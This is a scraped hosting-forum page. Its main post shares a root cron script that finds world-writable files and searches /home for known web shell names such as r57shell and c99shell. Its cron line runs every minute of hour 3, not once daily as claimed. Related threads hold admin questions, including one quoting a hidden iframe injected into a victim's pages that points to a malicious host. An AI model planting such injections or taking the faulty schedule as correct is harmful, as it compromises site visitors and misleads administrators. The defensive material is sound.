Tracking Forums, Newsgroups, Maling Lists
Home Scripts Tutorials Tracker Forums
  Advanced Search
  HOME    TRACKER    Web Hosting


Advertisements:




SuperbHosting.net & Arvixe.com have generously sponsored dedicated servers and web hosting to ensure a reliable and scalable dedicated hosting solution for BigResource.com.







Simple Script To Find Suspected Files And Folders


Try this useful script to find all 777 permission files and folders in /home directory

also it can find all names of suspected folders and files you want

and then you can take the required action

to install this follow the steps

login as root

Code:
cd /root

Code:
pico checkpandnscript.sh
Enter this code and in the 5th line from the end change
email@email.com to your email

Code:
# This file will help you to find suspected folders and files in /home directory
# Coded and desgined by Alrutani Web Hosting www.alrutani.com , for more informations please contact us.
#!/bin/sh
echo " " > /root/perdfmbc
echo "################# Folders with 777 permission #################" >> /root/perdfmbc
echo " " >> /root/perdfmbc
find /home -type d -perm 777 |egrep -v "./cpapachebuild|./.cpan|./src" >> /root/perdfmbc
echo " " >> /root/perdfmbc
echo "################## Files with 777 permission ##################" >> /root/perdfmbc
echo " " >> /root/perdfmbc
find /home -type f -perm 777 >> /root/perdfmbc
echo " " >> /root/perdfmbc
echo "############### Folders & files must be checked ###############" >> /root/perdfmbc
echo " " >> /root/perdfmbc
find /home -name forum >> /root/perdfmbc
find /home -name upload >> /root/perdfmbc
find /home -name 4images >> /root/perdfmbc
find /home -name gallery >> /root/perdfmbc
find /home -name uploader >> /root/perdfmbc
find /home -name up >> /root/perdfmbc
find /home -name r57shell >> /root/perdfmbc
find /home -name r57shell.php >> /root/perdfmbc
find /home -name r57.php >> /root/perdfmbc
find /home -name c99shell >> /root/perdfmbc
find /home -name c99shell.php >> /root/perdfmbc
find /home -name c99.php >> /root/perdfmbc
find /home -name shell.php >> /root/perdfmbc
echo " " >> /root/perdfmbc
echo "###############################################################" >> /root/perdfmbc
echo "Developed by Alrutani Web Hosting http://www.alrutani.com" >> /root/perdfmbc
echo "For more informations please contact us." >> /root/perdfmbc
echo " " >> /root/perdfmbc
cat /root/perdfmbc | mail -s "Suspected files & folders in your server" email@email.com
cd /root
rm -rf perdfmbc
# This file will help you to find suspected folders and files in /home directory
# Coded and desgined by Alrutani Web Hosting www.alrutani.com , for more informations please contact us.
To add more files and folders that you want the system to list

fine

Code:
find /home -name upload >> /root/perdfmbc
after it add

Code:
find /home -name xxxxxx >> /root/perdfmbc
where xxxxx is the name of the file or the folder you want

Save file Ctrl X
select yes then click enter

Code:
chmod 755 checkpandnscript.sh
To make the script works daily

Code:
crontab -e
At the end enter

Code:
* 3 * * * sh /root/checkpandnscript.sh
save and exit done !!

now to test the script

Code:
cd /root

Code:
sh checkpandnscript.sh
you will receive email from the server


View Complete Thread with Replies

Sponsored Links:

Related Forum Messages:
Best Permission For SMF Files And Folders
I'd like to know how to secure an SMF site. Is the default permission good enough?

View Replies!   View Related
Removing Large Files Or Folders CentOS
Something weird happening here. I have tried every string possible...

There are a number of folders I want to remove off my server, tried the good old and simple...

rm -r /folder/

And then went and ended up with a string as long as my screen. No matter what I do, as it goes recursive in to the directory it asks me if I want to remove each file individually. No matter what string or action I take it insists on asking me as it goes to delete each file.

Could this be a configuration option in CentOS?

View Replies!   View Related
Offsite Backups (via Rsync) - What Files/folders To Backup
I'm currently using (amongst other backup systems) rsync to an offsite space (am using BQBackup at the moment)

I'm just wondering - apart from backing up all of /home/, /var/lib/mysql/ and the important config files (httpd.conf, php.conf, etc etc) is there anything else that *needs* to be backed up?

Obviously in a worst case scenario, a new machine would be deployed with a fresh OS install (and a fresh WHM/cPanel install) so I wouldn't worry about backing up OS files or cPanel core files, although I'm wondering if there's anything apart from the /home/ directory and the MySQL databases which would be lost (and so need backing up) in the event of a crash?

View Replies!   View Related
Disk Quota Issue - Locating The Folders With The Highest Number Of Files
we've been having issues with reaching or exceeding our disk quotas. I've checked carefully, and while I've cleared our mail queue's, I don't think that's the issue.

So what I'm really looking for is a way to figure out why we have so many files (our quota is 220000, and I'm pretty confident that we aren't intentionally doing anything to create so many files). There's lots of information on finding the folders with the largest file sizes, but locating the folders with the greatest number of files isn't quite so simple--or at least, it doesn't seem very clear to me.

Does anyone know a way via the command line to figure out this information, short of going through every single folder and figuring out how many files are in the specific folder?

View Replies!   View Related
How To Find Out Hacked Files On Server
My server was being hacked, I can find some HTML and PHP files which inserted the codes similar to the following by the hacker.

HTML Code:
<iframe src="http://a5g.ru:8080/ts/in.cgi?pepsi94" width=125 height=125 style="visibility: hidden"><
/iframe>
The inserted iframe src is not the same among the hacked files.

I am trying to find out all the hacked files on server, is there any way instead of checking the files manually?

View Replies!   View Related
How To Find How And Who Uploaded Files- Spam - Action I Can Take
I have a dedicated server, the server itself is secure (as far as I know) and I run lots of my sites from it. I offered a friend hosting for his flash based chat application he built.

Today I was contacted by someone; "Are you the owner of xxxx.net?" so I informed that yes, it was my server and they then showed me an email they'd received from my server. I did a search and apparently someone uploaded mail.php and a couple of files it was using to send out spam based upon a variety of conditions that the other files met. The files contained forenames and surnames, it'd use a forename and a surname then send it to popular free mail services. The email contained ramblings about new world order and promoted a website.

How can I find out how they got the files uploaded to the account and what action can I take? I checked the whois for the domain and have their contact information, however it's a large site so I'm doubtful that the owner did it. I don't want my servers IPs being blacklisted for spam :|

View Replies!   View Related
Find Out Which .conf Files Apache 2.2 Is Loading
Is there a way to get Apache to tell me which .conf file it is loading at start-up?

There's a box that's misbehaving and Apache is running on port 80 and 8080 on the box... but we can't locate *why* it's running on port 8080. I can't find any Listen 8080 statement in the typical config files. If I knew which config files it was loading, I could go through all of the files in more detail.

View Replies!   View Related
Suspected Account/server Hacked
Domain abc.com hosted on my server

I fount out that domain def.com is identical to abc.com (ie: same content, same code etc...) but it is NOT hosted on my server

However both domain point to the same IP which is on my server

How is it even possible? was the account/server compromised?

View Replies!   View Related
How To Find (and Replace) "^@" Control Characters In Files
I have an odd problem... after transferring several hundred .php files to one of our servers we noticed that the browser was showing "?" output only.

When I open the file in "vi" (we're running centos 5.x), I can see this at the end of the file:

Code:
...
</HTML>
^@^@<?php //comment goes here ?>
-------------
I highlighted in red bold the problem text. If these four characters are removed from the file (edited out manually using vi) then the file displays and works correctly.

However.. there are several hundred of these files, and some have the problem and some don't.

I've tried everything I know to find which files contain the problem, but so far no luck.

ie:

grep -r "^@" .;
grep -r "^@" .;

Basically.. I need to find any instance of these characters and then remove them.

View Replies!   View Related
Server Hacked : How Can I Find Out How They Are Uploading Files To My Server
I am being hacked & I don't know how they are getting files on my server. They are doing it on two of my domains, I suspended one and then they got it on the other. My FTP access log does not show anything suspicious..

How can I find their doorway?

View Replies!   View Related
Can't CHMOD 777 Files, But I Can CHMOD 777 Folders
On one of my servers i can't CHMOD 777 Files, but i can CHMOD 777 Folders.

Files are chmod 777 but on scripts installation... It's Said Please Chmod Example.php to 777
Centos 5
PHP 5
Apache 2.2.3

View Replies!   View Related
Using Find Command With Regex To Find All Number-only Filenames
how can i do a search for all files (probs using regex) of files consisting purely of numbers?

for e.g. find:

53243.php
24353.php
24098.php

(always have 5 numbers).

seems one of my accounts has had some script run which generated a bunch of these in various subfolders, and the php file basically does a callback to www3.rssnews.ws and www3.xmldata.info, which seem to be some sort of spyware servers.

View Replies!   View Related
C99Shell Folders?
I found these folders in the root

/usr/bin/c99

/usr/include/boost/numeric/interval/detail/c99_rounding_control.hpp

/usr/include/boost/numeric/interval/detail/c99sub_rounding_control.hpp

what are these ? is it normal folders ? or somebody hacked our server?

what shall I do?

View Replies!   View Related
Nobody Folders And Delete
when people run a forum and the template and forumdate folders may created some files with nobody permission,

the user could not delete them by the user themself,

and need admin login as root with ssh to delete those,

and let the files permission can run as the user instead of nobody.

the server is centos with cpanel and suexec.

View Replies!   View Related
.htaccess And Folders
In the public_html directory, I have

php_value user_agent "Mozilla/5.0 (Windows; U; Windows NT 6.0; en-US; rv:1.8.1) Gecko/20061010 Firefox/2.0"
<IfModule mod_security.c>
SecFilterScanPost
</IfModule>

<IfModule mod_rewrite.c>
RewriteEngine On
RewriteBase /
Errordocument 404 /404.html
RewriteCond %{REQUEST_FILENAME} !.(jpg|jpeg|gif|png|css|js)$
RewriteCond %{REQUEST_FILENAME} !-f
RewriteRule .* index.php [L]
</IfModule>

Then I created a new directory named caller

There is an exact same .htaccess in public_html/caller

However, the .htaccess in the public_html directory rewrites all request to index.php

.htaccess in public_html/caller rewrites all request to /caller/index.htm

The thing is when I access
[url] whatever the one that's called is /public_html/index.php

How can I arrange so that the one called is /caller/index.htm?

View Replies!   View Related
Chmod For Public_html And Other Folders
what should be ideal chmod permission for public_html and other folders.

is 755 fine ? what is most secure one

View Replies!   View Related
IIS 5.1 - Browsing Folders
Well I finally got around to getting my IIS up and running which will save some time with uploading various files to check that they are working correctly but now I have run into a new problem. What used to happen with my IIS is it would list out all of the folders which I had in the wwwroot and I would simply navigate through and select which site needed to be tested.

At the moment, I have cleared out the wwwroot folder entirely since all of the stuff in there was to do with a "Windows XP Professional" page which appeared upon installation.

However, now that I don't need it anymore, I decided to clear it out and test IIS out by making a new folder called "sites" into wwwroot. Now though, it simply comes up with a "Directory Listing Denied. This Virtual Directory does not allow contents to be listed." error message, even though I have changed the permissions on the wwwroot folder to allow writing etc.

Could this be because it's IIS 5.1 and I need to install IIS 6.0 instead or is something else wrong? I know for a fact that my operating system (Windows Media Center Edition 2005) will do this list as I have had it before, back before I installed Vista and then decided to come back to MCE.

View Replies!   View Related
Emails Going To SPAM Folders
I can send e-mails out but many times they go directly to the recipient's SPAM box.

Also, my server cannot send to any company e-mail that uses MXLogic.net's services.

Going to [url]<--My server IP is on ZERO blacklists.

/etc/resolv.conf appears correct
/etc/hosts also appears correct

Is there something that I am overlooking?

View Replies!   View Related
Accessing Shared Folders
I have server which all files and folders are stored on. Now there are a couple of folders which are only accessible by one machine at present and all the other machines when they access the folder it is displayed as empty. I have checked all permisions and all machines viewing of files settings are the same and folders accessible by all machines have the same settings as the couple which are only accessible from this one machine.

If I copy and paste the folder all machines then have access to the folder from although this would be a lengthy exercise for the full hard drive.

View Replies!   View Related
Can I Delete These Folders From My Ftp
I heard the following folders were used by frontpage.

_private
_vti_bin
_vti_cnf
_vti_log
_vti_pvt
_vti_txt

I was wondering can i delete these folders if i'm not using frontpage ?

View Replies!   View Related
Folders Display Permissions
I would to know how I can change the display permissions for my website sub folders and files from public view, for instants

The current is you can access to any folders or files once trying access to any folders in my website like open this link www.yoursite.com/photos/ will see all sub-folders and files in this “photos” folder also you can see the other folders in another level by going to the top level folders!

but I think there is a way to enforce my users to write the full path of any selected photo or file they want without browsing my folders and sub-folder.

View Replies!   View Related
Mystery Folders Being Created
I am designing a site for a client and in all the years I've done design etc, I've come up against a phenomenon with their VPS server they have. It's linux and uploading files I am using WS_FTP Home.

I am uploading files and folders to their public_html/domain.com/ (*I use domain here for their privacy) and in some folders (directories) after doing so, a mystery folder suddenly appears that is named 5" and as you enter that folder, you see the path directory show up "public_html" and if you go into that one, you come up to the domain.com folder again, and if you deeper into that one you start to see this phenomenon of mirroring folders of the one you go into. Example:

public_html/domain.com/images/5"/public_html/domain.com/images/file
***the file whether it's an image jpg, png, etc is created as the last directory as a folder, not a file. I should also mention that as you go deeper in the 5" mystery directory folder, you no longer see the path in the FTP anything past the 5" one even as you go further in.

Oh, and it doesn't allow you to delete these 5" folders regardless of what permissions. And this folder seems to show up in many areas of this website's directory structure...mostly where images are (don't know if that is just a coincidence).

So hope all this makes sense....anyone seen this before and what the cause could be? Their host doesn't seem to know the reason and says they cannot see it even though others can. They said it's the FTP program as the cause and not their server.

My comeback to that is that I've used this FTP for years and never before seen this happen. It's only with this one client's server.

View Replies!   View Related
Simple CDN
anybody have any experience with SimpleCDN. We are considering using their Hurricane service to stream our media.

View Replies!   View Related
Simple Request
Can you see if my site will load for you:
[url]

Then (if it loads) post the stats from the bottom of the page:
Page creation time: (Numbers)

And:
Your Os:
Your Browser:

Some people say my site won't load or is loading slowly for them, but I have no one to test it, thanks. If possible, I need quite a few tests.

View Replies!   View Related
SSL Certificates Works For Folders?
Say i have domain zzzzz.com and have some folders say a, b and c

would ssl if installed for main domain zzzzz.com work for https://zzzzz.com/a and so on ? or would wildcard ssl be required for that ?

And what if that /a folder is actually a subdomain, but since you can access subdomains via url/folder instead of folder.url would ssl work on it using url/folder option instead of subdomain url ?

View Replies!   View Related
Finding And Chmod The Www Folders
i need to find al www folders within home directory with 777 permissions and need to chmod to 750.

if possible post the command to do it

View Replies!   View Related
Unable To Delete Folders In Ftp
im using fireftp and i chmod the folders to 777 but it seems that im still unable to delete the folders as i get the message 550 directory not empty etc.

View Replies!   View Related
Deny Perl In Public Folders
How do you guys deny run of perl/bash scripts from /tmp, /var/tmp, /dev/shm? I've tried to build simple shell wrapper, but that's not a compromise if you run for example spamassassin on the same server (it needs direct io to/from perl binary). I'm looking intro some kind of binary wrapper or patch that will deny running perl scripts from public folders (also the same for shell scripts will be great). Any ideas or solutions?

If anyone interested in primitive shell wrapper code:

Code:
#!/bin/sh
ARGS=`echo $@ | grep -v "/tmp/"`
if [ "$ARGS" != "" ]; then
/usr/bin/perl.orig $ARGS;
fi

View Replies!   View Related
Downloading LARGE Folders On Linux
On my site, there is a folder containing somewheres around 75,000 images.

I'm on shared hosting, but I do have shell access.

I want to basically copy this folder to another directory in the site. Can anyone give me any pointers?

View Replies!   View Related
Setting Up A Simple Server
when I get a server it comes with cPanel and I don't have to do much to get it going, but this time I don't need all the bells and whistles. What should I do to get a server with only CentOS to start running a pretty simple web server that just listens on whatever ip? I just want it to run php,mysql, and a web server which I know how to setup already. What I want to know is what else is necessary to setup? Resolvers, the hostname, bind, named, etc?

View Replies!   View Related
DTH Is Simple Great
Because i have couple site hosted by both hosting company (DTH=downtownhost and TCH=totalchoicehosting) and have positive experience with them i needed to make decision who will be hoster for my new project.

The problem was by both company and by 99% others that traceroute command is not enabled by default and it is essential for my new project.

After exchanging a couple emails with both companies DTH was winner again because DTH allow on shared hosting traceroute command (in situation that you need it).

Answer from TCH was that only on VPS (semi-dedicated) is traceroute command possible and not on shared envirovment.

I must again praise DTH for the way how they handle with their customers and that they are ready to do everything for their customers. Not wonder that they are one of the greatest hosting company.

View Replies!   View Related
Stay Away From Simple Helix
I cannot express this enough: Stay away from Simple Helix!

We switched to them after our last $5/mo host kicked us out without warning. Simple Helix is just as bad but more expensive... Their support system is awful. Our website is down at least once or twice a week without any warning or support.

You cannot talk to anyone in their support. You have to write a stupid ticket. Then you wait and wait until someone decides to open it and read it. The if you are lucky, they will respond to it. But you gotta be REALLY lucky that they respond with something useful. Most of their responses are irrelevant or do not make sense.

Last week my website was destroyed because their server crashed. When i wrote a support ticket, which was answered 24 hours later, they said that I did it! Then they told me I had to pay them to fix the problem. Only when I contacted their corporate offices they got their admin working on it. Even then, it took over a week to fix the website. The admin would only respond when he wanted and sometimes he would ignore my messages to the point where I had to open new tickets to tell them to take care of my original ticket.

JUST STAY AWAY! WHATEVER YOU DO-DO NOT GO WITH SIMPLE HELIX.

It seems nexcess.net is a good host and I am going to be calling them tomorrow to talk to them about switching to them.

View Replies!   View Related
WP Site To Much For Simple Hosting
I've recently re-designed my website to WP and my host which I've been with for the last 5 years has suspended my site for system abuse. Is WP no good? They suspended it last week so I added a cache which they said had fixed it, now they've comeback and said its still overloading. My site gets around 500 visitors a day. Does this sound right?

I've already had to ban google bots from my forums because of overloading in the past.

Can anyone recommend a host that can handle a wordpress site that gets 500 visitors a day?

View Replies!   View Related
MKOH Simple Review
I am just posting a simple reviewof my experience with MKOH (My Kind of Host)
Great people they seem from the e-mail correspondences. Just one problem with there automated message upon account setup. Include the name servers.

The support has been prompt during the day and it's been a few hours since I've e-mailed them and heard nothing back and it's nighttime which sort of worries me for the long run. No one around at night.

So, I ordered this morning 10PM EST and the acccount was setup within normal business hours. But since then haven't received a response with the nameservers. I could assume it's ns1.mkoh.com and ns2.mkoh.com but that's most likely not them or they could have multiple servers or even a datacenter or offshoots so I can't assume.

Again, great during the day. Night a bit rough. This is day 1. I will let people know here if this thread isn't deleted what happens after tonight I just think support at night is important in this industry.

View Replies!   View Related
Iptables - Simple Cofiguration
I was able to reverse the ruleset I had earlier. I have read more and added the following rules set:

target prot opt source destination
ACCEPT tcp -- anywhere anywhere tcp dpt:ssh
ACCEPT tcp -- anywhere anywhere tcp dpt:http
ACCEPT tcp -- anywhere anywhere tcp dpt:smtp
ACCEPT tcp -- anywhere anywhere tcp spt:smtp
ACCEPT tcp -- anywhere anywhere tcp spt:domain
ACCEPT udp -- anywhere anywhere udp spt:domain
ACCEPT tcp -- anywhere anywhere tcp dpt:https
ACCEPT tcp -- anywhere anywhere tcp dptop3
ACCEPT tcp -- anywhere anywhere tcp dpt:domain
ACCEPT tcp -- anywhere anywhere tcp dpt:smtps
ACCEPT tcp -- anywhere anywhere tcp
dpt:cvspserver
ACCEPT tcp -- anywhere anywhere tcp
dpt:webcache
ACCEPT tcp -- anywhere anywhere tcp
dpt:distinct
ACCEPT all -- ip-XXX-XXX-XX-XXX.ip.myserver.net anywhere
DROP all -- anywhere anywhere

I tried to follow this HOWTO:
[url]

It appears to work on most ports. However, when I try a web site on that
server, port 80, it starts but never finishes - never goes to that page. The progress bar looks like it's almost finished but never gets there.

I need to be able to:

check and send mail
serve web site
ssh/WinSCP
port 9999 needed as well as 8080
run DNS

Does that rules set look right?

View Replies!   View Related
Simple And Reliable Switch
i want to set about 3-5 servers behind a switch,

the purpose of the switch is just for sharing bandwidth for the 3-5 servers,

i do not need any special feature,for example,mrtg,limit port bandwidth,...etc,

it run about 5-10M only,

i just hope it is reliable and cheap,

can you recommend any switch suit for my needing?

View Replies!   View Related
Where I Can Get A Simple SSL Certificate
where I can get a simple SSL certificate for my web hosting business? So my customers feel safe on submitting their information. Is the standard SSL from GoDaddy pretty good?

View Replies!   View Related
VPS Down After Simple Reboot
So I was trying to run a backup process in Plesk 8.1 and the whole panel froze up on me (it's happened numerous times before).

Anyway, since the panel was all frozen up I just went into SSH and did a simple "reboot" (also, as done before many times). Only problem is, this time after I did the reboot the server never actually came back online... it seems to be locked up or something, I have no idea what.

I called my host and they are looking into it but they have no idea what's going on either and it's taking them forever to figure it out all the meanwhile my sites are down.... this isn't good.

Does anyone have any suggestions or advice as to why this could be occuring?

View Replies!   View Related
Simple Bash Script
somebody to write a very simple bash script to me , which will help me to "wget" some text files!

i want to do the following:
wget [url]

X changes for evey folder (main group)
Y will change for every file in the folder.

eg:
[url]
[url]
[url]


the next group:

[url]
[url]
[url]

The X value range [1-100]
the Y value range [1-13]

View Replies!   View Related
MYSQL Backup Simple
Any of you know any good mysql backup software that does all the packages for you? meaning, backup the whole shabang with only ssh access? users,dbs, etc? and probably restore it too?

View Replies!   View Related
Simple SSL Doubt
I have an ssl issued from my domain company and i have hosting in another company.

I have created an CSR with my hosting, submitted to mine domain company so i can have the ssl, and installed in my hosting company.

But now i want to change mine hosting because the hosting company doesn't accept chained certificates..

So if i change mine hosting i could mantain mine old ssl ? or what does i need to do?

View Replies!   View Related
Simple LAMP Server
to set up a little server that will have LAMP installed on it. All it will do is host a small program that runs on PHP and mySQL and will only be used on an office network with about 50 employees.

How well would this server run if the hardware was rather modest (667Mhz, 128mb RAM, 10GB HDD)?

View Replies!   View Related
Simple Ftp Command
using ftp via unix command, how do you get all files and sub directories?

get *.*? but will that get sub dir?

btw, how do you get it to switch between ascii and binary for images? does it do that automaticly?

View Replies!   View Related
A Simple Command/script
I've had to edit alot of zone files and have been trying to find a solution to ease up the work. So far I found a nice perl command which can search and replace pretty efficiently.

I was wondering if anyone here knows something simple to search for a number. Lets say if the number was bigger then a specified amount (say 1 million) then it will add a 1 value to the large number. Of course this will scan through all the zone files in the directory and add the 1 value accordingly.

View Replies!   View Related
Experiences With Simple DNS Plus?
We are looking at this software. Seems easy enough, secure enough.

Experiences with Simple DNS Plus?

View Replies!   View Related
Simple DDoS Attack
It seems that we are under simple DDoS attack.

They are sending multiple queries from single IP but once we block it they start using different IP

Is there a rule to add to FreeBSD firewall to block any IP which is sending more than XX queries in one minute or some other way to blcok those IPs automaticaly?

View Replies!   View Related
Zipping Up Multiple Public_html Folders From Shell
OK so I'm on the shell and looking at the contents of my home/ directory which has all the various accounts. In each account directory are subdirs such as mail, logs, tmp, etc, and public_html. Is there a way (or a ZIP command) to be in the home directory and create a massive ZIP file containing all the account directories, each containing ONLY the respective public_html subdir for that account?

Using the command "zip -r Backups.zip ./" seems to include all those extra folders (such as mail, etc.) that aren't needed.

View Replies!   View Related
Access Folders In Root / Bypass Wordpress
My blog is set up to display in the root of my domain, although the files on the server sit within their own folder:

i.e

Server files

Public_html/wordpressfiles/

Broswer displays

www . mydomain . com/

(disaplys pages from /wordpressfiles)


The problem I have is that I can't access individual directories within the root, unrelated to wordpress.

e.g

I have

Public_html/folder2/...
Setup on the server, but if I enter the path in my browser:

www . mydomain . com/folder2

wordpress thinks I want to access:

www . mydomain . com/wordpress/folder2

...which doesn't exist.

How can I re-gain access to folders in the root, without wordpress interfering?

View Replies!   View Related
Which Folders Should I Exclude From A Whole Server Backup (Rsync )
I am going to backup the whole server. (Rsync)

I understood it is not efficient to backup the local "backup" folder to avoid duplicated backups.

1. Should I exclude additional folders from the backup process?

2. I noticed it is familiar to exclude the "proc" folder also ... Why?

View Replies!   View Related
Addon Domain, Cant Have Password Protected Folders
I have 2 domains on 1 account. My main website is www.aviationcafe.net and i added on www.modelcuir.com thats what it looks like to the public. But with my host it will be www.modelcuir.aviationcafe.net.

I noticed in the files area that modelcuir is it's own file, i can password protect that but it will stop people getting onto the website completly and i only want to stop them getting into the members area.

I can't create a members area either unless i can add a new folder which i can't i dont think.

View Replies!   View Related
Apache 1.3 For One Site, Two Cgi-bin Folders
my server has just one site, apache conf has such a line:

Code:
ScriptAlias /cgi-bin/ "/usr/local/apache/htdocs/cgi-bin/"
and

Code:
<Directory "usr/local/apache/htdocs/cgi-bin">
AllowOverride None
Options None
Order allow,deny
Allow from all
</Directory>
then, my cgi script may run well under the said folder,

/usr/local/apache/htdocs/cgi-bin

but I have another script need to be setup another cgi-bin under its own folder below htdocs folder, like,

/usr/local/apache/htdocs/anotherscript/cgi-bin

however, when I run the said script in browser:

Code:
http://www.mydomain.com/anotherscript/cgi-bin/abc.cgi
the browser just shows source codes, instead of running it. I am guessing something wrong in httpd.conf,

may I know how to set apache httpd.conf to meet my requirement?

View Replies!   View Related
Copy Newly Created Folders In /tmp
We've had someone starting nobody PERL procs on a box and we can't quite track it down or read the file to see what it is. What he does is to create a folder in /tmp, execute the script from there and delete the folder as soon as it's running (yes, /tmp is mounted noexec, makes no difference). We've managed to discover and block the IP that was doing this, but that's no fix. He hasn't been back since banning the IP...so far.

What we would like to do is see if anyone knows of (or can help create) a script that can watch the /tmp folder and copy newly created directories and thier contents to another dir (also notifying via email would be helpful) in order to see what the heck it's doing, and hopefully be able to figure out how it's getting in. Nothing in any logs this time, and the PERL process seems to be able to hide itself from PS. That bit worries me quite a lot, but none of the binaries appear to have been changed, and it doesn't appear we've been rooted in any way.
Thoughts on this, ideas and suggestions welcome.

Failing that, is it possible without breaking the box to prevent the creation of new directories in /tmp? This I seriously doubt, but if all they need to do is create a folder and work from there, noexec is a joke.

View Replies!   View Related
ImagiMagick Simple Testing Script
I bought a webhost from hosting provider. But ImageMagick does not work. Hosting provider said ImageMagick is installed.

But ImageMagick still do not work! I think it is not installed properly [url]

So, I need any simple test script to test ImageMagick if it works or not. I need real visual evidence for hosting provider to tell him that Imagimagick is not properly installed. I looked through this site but didn't see any test script.

View Replies!   View Related
Copyright © 2005-08 www.BigResource.com, All rights reserved